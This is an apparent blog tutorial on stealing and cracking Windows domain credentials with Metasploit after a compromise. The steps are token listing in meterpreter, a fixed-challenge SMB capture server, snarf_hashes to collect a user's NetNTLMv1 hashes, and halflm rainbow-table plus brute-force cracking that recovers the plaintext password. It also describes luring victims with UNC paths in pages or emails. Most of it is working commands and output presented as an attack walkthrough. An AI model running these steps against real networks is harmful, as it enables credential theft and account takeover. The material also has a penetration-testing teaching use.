METASPLOIT AND OWNING WINDOWS: LANMAN RAINBOW CRACKING

Previously I have gone through using metasploit to own your windows targets. In that article we looked at the password hashes stored locally on the target and using a rainbow cracking mechanism on those hashes. Great. But that does not help you if you are targeting domain credentials. Those hashes are not stored locally on workstations. But all is not lost. We can still try something, lets start by assuming you already have exploited your target..

Step 1 - Get the LM hash/NT hash from your target
Fire up the token stealing functionality (*incognito*) in your meterpreter session:

```
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
BASE\bobby
BASE\user
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter >
```

We can see we have access to a few user tokens, so lets get setup to capture these with a hash capturing server:

```
meterpreter > background
msf  exploit(ms08_067_netapi) > back
msf > use auxiliary/server/capture/smb
msf  auxiliary(smb) > info

       Name: Authentication Capture: SMB
     Module: auxiliary/server/capture/smb
    Version: 13983
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <hdm@metasploit.com>

Basic options:
  Name        Current Setting   Required  Description
  ----        ---------------   --------  -----------
  CAINPWFILE                    no        The local filename to store the hashes in Cain&Abel format
  CHALLENGE   1122334455667788  yes       The 8 byte challenge
  JOHNPWFILE                    no        The prefix to the local filename to store the hashes in
JOHN format
  SRVHOST     0.0.0.0           yes       The local host to listen on. This must be an address on
the local machine or 0.0.0.0
  SRVPORT     445               yes       The local port to listen on.
  SSL         false             no        Negotiate SSL for incoming connections
  SSLCert                       no        Path to a custom SSL certificate (default is randomly
generated)
  SSLVersion  SSL3              no        Specify the version of SSL that should be used (accepted:
SSL2, SSL3, TLS1)

Description:
  This module provides a SMB service that can be used to capture the
  challenge-response password hashes of SMB client systems. Responses
```

```
  sent by this service have by default the configurable challenge
  string (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy
  cracking using Cain & Abel, L0phtcrack or John the ripper (with
  jumbo patch). To exploit this, the target system must try to
  authenticate to this module. The easiest way to force a SMB
  authentication attempt is by embedding a UNC path (\\SERVER\SHARE)
  into a web page or email message. When the victim views the web page
  or email, their system will automatically connect to the server
  specified in the UNC share (the IP address of the system running
  this module) and attempt to authenticate.

msf  auxiliary(smb) > set JOHNPWFILE /admin/john.cap
JOHNPWFILE => /admin/john.cap
msf  auxiliary(smb) > set SRVHOST 192.168.2.114
SRVHOST => 192.168.2.114
msf  auxiliary(smb) > run
[*] Auxiliary module execution completed

[*] Server started.
msf  auxiliary(smb) > netstat -ntlp
[*] exec: netstat -ntlp

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 192.168.2.114:445       0.0.0.0:*               LISTEN      1622/ruby
```

Now lets pause here quickly. You see there is a very cool little trick here. One of the ways MS have tried to make the passing of the hashes secure is through the concept of a salt. You see each session should use a different salt, because each time a server sees a new connection it should offer a new salt. Thus why using rainbow cracking on these hashes should not be feasible. BUT... what metasploit does is that the SMB server it runs to capture the hashes is setup to only ever use one 'salt' value, which pretty much negates the idea of a salt. This is what makes everything following this possible.

Ok so we have the capture server running lets get the hashes from our session:

```
msf  auxiliary(smb) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > snarf_hashes 192.168.2.114
[*] Snarfing token hashes...

[*] NLMv1 Hash correspond to an empty password, ignoring ...
[*] Sat Oct 29 20:49:23 -0400 2011
NTLMv1 Response Captured from 192.168.2.117:1145
USER:bobby DOMAIN:BASE OS:Windows 2002 2600 LM:Windows 2002 5.1
LMHASH:daf07fe6c760f6e45d069e8eb8df08dcecf946cd083f94aa
NTHASH:1c2005506d26d77ea5333b24b316888dc15ae4431b9ae08c

[*] Done. Check sniffer logs

meterpreter > background
[*] exec: cat /admin/john.cap_netntlm

bobby::BASE:daf07fe6c760f6e45d069e8eb8df08dcecf946cd083f94aa:1c2005506d26d77ea5333b24b316888dc15ae4431b9ae08c:1122334455667788
```

Right now, you could run this capture through JTR, and this is not a bad option, but lets try something easier first.

Step 2 - Getting the kinda Rainbow cracker
You see, as mentioned above, having a static session key allows us to kinda rainbow crack the hash. You see we perform a *halflm* rainbow crack. We are able to rainbow crack the first part of the hash, and them from there we can do a brute-force on the rest. For this you will need *metasploit* and *rcrack* (the program itself is here and the tables are here). Do the normal '*make*' to get it installed. When you are down, you should have the '*rcracki_mt*' executable and a folder with halflm hashes. So lets try it by using the first 16 characters of the hash:

```
# ./rcracki_mt -h daf07fe6c760f6e4 ../halflm/*
Using 1 threads for pre-calculation and false alarm checking...
Found 1 rainbowtable files...

halflmchall_alpha-numeric#1-7_3_2400x58924114_1122334455667788_distrrtgen[p][i]_0.rti:
reading index... 13528977 bytes read, disk access time: 0.01 s
reading table... 471392912 bytes read, disk access time: 0.41 s
searching for 1 hash...
plaintext of daf07fe6c760f6e4 is NEVER1Q
cryptanalysis time: 0.06 s

statistics
----------------------------------------------------------
plaintext found:            1 of 1 (100.00%)
total disk access time:     0.42 s
total cryptanalysis time:   0.06 s
total pre-calculation time: 4.92 s
total chain walk step:      2876401
total false alarm:          15
total chain walk step due to false alarm: 34093

result
----------------------------------------------------------
daf07fe6c760f6e4    NEVER1Q    hex:4e455645523151
```

Ok, so we got part of the password fairly quickly (about 6 seconds), lets look for the rest. For this we use a ruby script that is part of metasploit called '*halflm_second.rb*', and what this does is simply brute-force the rest of the hash:

```
/admin/metasploit-4.1.0/msf3/tools# ./halflm_second.rb -n
daf07fe6c760f6e45d069e8eb8df08dcecf946cd083f94aa -p NEVER1Q
[*] Trying one character...
[*] Cracked: NEVER1Q2
```

So there you go, an 8 character password cracked quite quickly. Now bear in mind, some of these will still pose a challenge:
- the characterset is out of the ordinary
- the length is fairly long (above 14 characters)
But even so the data you find from rainbow cracking the first part of the hash can often be very useful in building a custom dictionary for use with JTR.

Final Thoughts
What we have seen here is how an attacker using common tools can truly damage what you think is secure. We also see that rainbow cracking hashes is -once again- a truly scary tactic with devestating results. As always, play around, have fun and learn.